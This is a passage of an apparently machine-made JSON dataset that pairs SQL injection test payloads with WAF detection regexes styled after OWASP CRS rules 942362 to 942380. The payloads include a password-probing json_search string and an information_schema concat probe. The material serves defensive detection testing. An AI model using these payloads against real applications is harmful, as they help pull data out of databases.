m)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject)))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942362", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": ", aside from" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)[\\s\\x0b]?\\(?|end[\\s\\x0b]*?\\);|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[^A-Z_a-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:create[\\s\\x0b]+[0-9A-Z_a-z]+|(?:d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load|(?:renam|truncat)e|u(?:pdate|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct))|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject)))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942362", "test_description": "GH issue 1580" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "a=/create" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)[\\s\\x0b]?\\(?|end[\\s\\x0b]*?\\);|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[^A-Z_a-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:create[\\s\\x0b]+[0-9A-Z_a-z]+|(?:d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load|(?:renam|truncat)e|u(?:pdate|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct))|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject)))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942362", "test_description": "GH issue 1605" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "a=/CREATE TABLE Persons" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)[\\s\\x0b]?\\(?|end[\\s\\x0b]*?\\);|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[^A-Z_a-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:create[\\s\\x0b]+[0-9A-Z_a-z]+|(?:d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load|(?:renam|truncat)e|u(?:pdate|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct))|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject)))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942362", "test_description": "GH issue 1605" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=' * from = 1 or '9" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*?(?:(?:\\*.+(?:x?or|div|like|between|(?:an|i)d)[^0-9A-Z_a-z]*?[\\\"'`]|(?:x?or|div|like|between|and)[\\s\\x0b][^0-9]+[\\-0-9A-Z_a-z]+[^0-9]*)[0-9]|[^\\s\\x0b0-9\\?A-Z_a-z]+[\\s\\x0b]*?[^\\s\\x0b0-9A-Z_a-z]+[\\s\\x0b]*?[\\\"'`]|[^\\s\\x0b0-9A-Z_a-z]+[\\s\\x0b]*?[^A-Z_a-z](?:[^#]*#|.*?--))|[^\\*]*\\*[\\s\\x0b]*?[0-9])|\\^[\\\"'`]|[%\\(-\\+\\-<>][\\-0-9A-Z_a-z]+[^\\s\\x0b0-9A-Z_a-z]+[\\\"'`][^,]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942370", "test_description": "[\\\"'`]\\s*?\\*.+or\\W*?[\\\"'`]\\d\n[\\\"'`]\\s*?\\*.+xor\\W*?[\\\"'`]\\d\n[\\\"'`]\\s*?\\*.+div\\W*?[\\\"'`]\\d\n[\\\"'`]\\s*?\\*.+like\\W*?[\\\"'`]\\d\n[\\\"'`]\\s*?\\*.+between\\W*?[\\\"'`]\\d\n[\\\"'`]\\s*?\\*.+and\\W*?[\\\"'`]\\d\n" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=' * from = 1 id '9" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*?(?:(?:\\*.+(?:x?or|div|like|between|(?:an|i)d)[^0-9A-Z_a-z]*?[\\\"'`]|(?:x?or|div|like|between|and)[\\s\\x0b][^0-9]+[\\-0-9A-Z_a-z]+[^0-9]*)[0-9]|[^\\s\\x0b0-9\\?A-Z_a-z]+[\\s\\x0b]*?[^\\s\\x0b0-9A-Z_a-z]+[\\s\\x0b]*?[\\\"'`]|[^\\s\\x0b0-9A-Z_a-z]+[\\s\\x0b]*?[^A-Z_a-z](?:[^#]*#|.*?--))|[^\\*]*\\*[\\s\\x0b]*?[0-9])|\\^[\\\"'`]|[%\\(-\\+\\-<>][\\-0-9A-Z_a-z]+[^\\s\\x0b0-9A-Z_a-z]+[\\\"'`][^,]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942370", "test_description": "[\\\"'`]\\s*?\\*.+id\\W*?[\\\"'`]\\d\n" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=' = # '" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*?(?:(?:\\*.+(?:x?or|div|like|between|(?:an|i)d)[^0-9A-Z_a-z]*?[\\\"'`]|(?:x?or|div|like|between|and)[\\s\\x0b][^0-9]+[\\-0-9A-Z_a-z]+[^0-9]*)[0-9]|[^\\s\\x0b0-9\\?A-Z_a-z]+[\\s\\x0b]*?[^\\s\\x0b0-9A-Z_a-z]+[\\s\\x0b]*?[\\\"'`]|[^\\s\\x0b0-9A-Z_a-z]+[\\s\\x0b]*?[^A-Z_a-z](?:[^#]*#|.*?--))|[^\\*]*\\*[\\s\\x0b]*?[0-9])|\\^[\\\"'`]|[%\\(-\\+\\-<>][\\-0-9A-Z_a-z]+[^\\s\\x0b0-9A-Z_a-z]+[\\\"'`][^,]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942370", "test_description": "[^\\w\\s?]+\\s*?[^\\w\\s]+\\s*?[\\\"'`\"]\n" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=' ? # = #" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*?(?:(?:\\*.+(?:x?or|div|like|between|(?:an|i)d)[^0-9A-Z_a-z]*?[\\\"'`]|(?:x?or|div|like|between|and)[\\s\\x0b][^0-9]+[\\-0-9A-Z_a-z]+[^0-9]*)[0-9]|[^\\s\\x0b0-9\\?A-Z_a-z]+[\\s\\x0b]*?[^\\s\\x0b0-9A-Z_a-z]+[\\s\\x0b]*?[\\\"'`]|[^\\s\\x0b0-9A-Z_a-z]+[\\s\\x0b]*?[^A-Z_a-z](?:[^#]*#|.*?--))|[^\\*]*\\*[\\s\\x0b]*?[0-9])|\\^[\\\"'`]|[%\\(-\\+\\-<>][\\-0-9A-Z_a-z]+[^\\s\\x0b0-9A-Z_a-z]+[\\\"'`][^,]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942370", "test_description": "[^\\w\\s]+\\s*?[\\W\\d].*?#\n" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var='? # = --" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*?(?:(?:\\*.+(?:x?or|div|like|between|(?:an|i)d)[^0-9A-Z_a-z]*?[\\\"'`]|(?:x?or|div|like|between|and)[\\s\\x0b][^0-9]+[\\-0-9A-Z_a-z]+[^0-9]*)[0-9]|[^\\s\\x0b0-9\\?A-Z_a-z]+[\\s\\x0b]*?[^\\s\\x0b0-9A-Z_a-z]+[\\s\\x0b]*?[\\\"'`]|[^\\s\\x0b0-9A-Z_a-z]+[\\s\\x0b]*?[^A-Z_a-z](?:[^#]*#|.*?--))|[^\\*]*\\*[\\s\\x0b]*?[0-9])|\\^[\\\"'`]|[%\\(-\\+\\-<>][\\-0-9A-Z_a-z]+[^\\s\\x0b0-9A-Z_a-z]+[\\\"'`][^,]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942370", "test_description": "[^\\w\\s]+\\s*?[\\W\\d].*?--\n" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=' or homer 9" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*?(?:(?:\\*.+(?:x?or|div|like|between|(?:an|i)d)[^0-9A-Z_a-z]*?[\\\"'`]|(?:x?or|div|like|between|and)[\\s\\x0b][^0-9]+[\\-0-9A-Z_a-z]+[^0-9]*)[0-9]|[^\\s\\x0b0-9\\?A-Z_a-z]+[\\s\\x0b]*?[^\\s\\x0b0-9A-Z_a-z]+[\\s\\x0b]*?[\\\"'`]|[^\\s\\x0b0-9A-Z_a-z]+[\\s\\x0b]*?[^A-Z_a-z](?:[^#]*#|.*?--))|[^\\*]*\\*[\\s\\x0b]*?[0-9])|\\^[\\\"'`]|[%\\(-\\+\\-<>][\\-0-9A-Z_a-z]+[^\\s\\x0b0-9A-Z_a-z]+[\\\"'`][^,]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942370", "test_description": "[\\\"'`]\\s*?or\\s[^\\d]+[\\w-]+.*?\\d\n[\\\"'`]\\s*?xor\\s[^\\d]+[\\w-]+.*?\\d\n[\\\"'`]\\s*?div\\s[^\\d]+[\\w-]+.*?\\d\n[\\\"'`]\\s*?like\\s[^\\d]+[\\w-]+.*?\\d\n[\\\"'`]\\s*?between\\s[^\\d]+[\\w-]+.*?\\d\n[\\\"'`]\\s*?and\\s[^\\d]+[\\w-]+.*?\\d\n" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=^'" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*?(?:(?:\\*.+(?:x?or|div|like|between|(?:an|i)d)[^0-9A-Z_a-z]*?[\\\"'`]|(?:x?or|div|like|between|and)[\\s\\x0b][^0-9]+[\\-0-9A-Z_a-z]+[^0-9]*)[0-9]|[^\\s\\x0b0-9\\?A-Z_a-z]+[\\s\\x0b]*?[^\\s\\x0b0-9A-Z_a-z]+[\\s\\x0b]*?[\\\"'`]|[^\\s\\x0b0-9A-Z_a-z]+[\\s\\x0b]*?[^A-Z_a-z](?:[^#]*#|.*?--))|[^\\*]*\\*[\\s\\x0b]*?[0-9])|\\^[\\\"'`]|[%\\(-\\+\\-<>][\\-0-9A-Z_a-z]+[^\\s\\x0b0-9A-Z_a-z]+[\\\"'`][^,]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942370", "test_description": "\\^[\\\"'`]\n" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=\"` * 12344" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*?(?:(?:\\*.+(?:x?or|div|like|between|(?:an|i)d)[^0-9A-Z_a-z]*?[\\\"'`]|(?:x?or|div|like|between|and)[\\s\\x0b][^0-9]+[\\-0-9A-Z_a-z]+[^0-9]*)[0-9]|[^\\s\\x0b0-9\\?A-Z_a-z]+[\\s\\x0b]*?[^\\s\\x0b0-9A-Z_a-z]+[\\s\\x0b]*?[\\\"'`]|[^\\s\\x0b0-9A-Z_a-z]+[\\s\\x0b]*?[^A-Z_a-z](?:[^#]*#|.*?--))|[^\\*]*\\*[\\s\\x0b]*?[0-9])|\\^[\\\"'`]|[%\\(-\\+\\-<>][\\-0-9A-Z_a-z]+[^\\s\\x0b0-9A-Z_a-z]+[\\\"'`][^,]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942370", "test_description": "[\\\"'`].*?\\*\\s*?\\d\n" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=>foo##'." } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*?(?:(?:\\*.+(?:x?or|div|like|between|(?:an|i)d)[^0-9A-Z_a-z]*?[\\\"'`]|(?:x?or|div|like|between|and)[\\s\\x0b][^0-9]+[\\-0-9A-Z_a-z]+[^0-9]*)[0-9]|[^\\s\\x0b0-9\\?A-Z_a-z]+[\\s\\x0b]*?[^\\s\\x0b0-9A-Z_a-z]+[\\s\\x0b]*?[\\\"'`]|[^\\s\\x0b0-9A-Z_a-z]+[\\s\\x0b]*?[^A-Z_a-z](?:[^#]*#|.*?--))|[^\\*]*\\*[\\s\\x0b]*?[0-9])|\\^[\\\"'`]|[%\\(-\\+\\-<>][\\-0-9A-Z_a-z]+[^\\s\\x0b0-9A-Z_a-z]+[\\\"'`][^,]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942370", "test_description": "[()\\*<>%+-][\\w-]+[^\\w\\s]+[\\\"'`][^,]\n" } }, { "input": { "malicious_payload": [ { "location": "header_user-agent", "value": "1\"and json_search (json_array(password),0b11000010110110001101100,\"t_______________\")#" } ], "attack_context": { "method": "GET", "location": [ "header_user-agent" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`](?:[\\s\\x0b]*?(?:(?:\\*.+(?:x?or|div|like|between|(?:an|i)d)[^0-9A-Z_a-z]*?[\\\"'`]|(?:x?or|div|like|between|and)[\\s\\x0b][^0-9]+[\\-0-9A-Z_a-z]+[^0-9]*)[0-9]|[^\\s\\x0b0-9\\?A-Z_a-z]+[\\s\\x0b]*?[^\\s\\x0b0-9A-Z_a-z]+[\\s\\x0b]*?[\\\"'`]|[^\\s\\x0b0-9A-Z_a-z]+[\\s\\x0b]*?[^A-Z_a-z](?:[^#]*#|.*?--))|[^\\*]*\\*[\\s\\x0b]*?[0-9])|\\^[\\\"'`]|[%\\(-\\+\\-<>][\\-0-9A-Z_a-z]+[^\\s\\x0b0-9A-Z_a-z]+[\\\"'`][^,]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942370", "test_description": "" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "from `db_miwf`.`sys_refindex` limit" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "from(select count(*),concat((select (select (select concat(0x53,0x65,0x61,0x72,0x63,0x68,0x43,0x6F,0x6C,0x6C,0x65,0x63,0x74,0x6F,0x72) from `information_schema`.tables limit" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ 